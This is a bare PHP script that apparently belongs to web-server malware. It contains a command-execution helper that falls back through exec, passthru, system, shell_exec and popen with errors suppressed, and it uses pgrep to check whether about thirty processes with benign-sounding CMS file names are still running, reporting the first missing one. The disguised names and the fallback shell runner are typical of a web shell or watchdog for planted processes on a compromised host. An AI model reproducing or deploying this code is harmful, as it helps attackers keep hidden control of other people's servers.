<?php   $files = ['submit_opener','appvars_actions','DisableExternal','dir_style','mod_whosonline','getfichier','cma_m_bulk','berkeleydb.lib','album_modcp','editbookmark','course_structure','fckeditor.upload','attachment','busi_report04','plugins.inc','multigenerator','UnderCourseAreas','screen_01','image.class','beginedit4','termsofuse','xoopsformloader','islenska_mimes','MaxDepth','resource.db','emailBugReport','custom.sef','str_split','misc.functions','lib_options_up']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }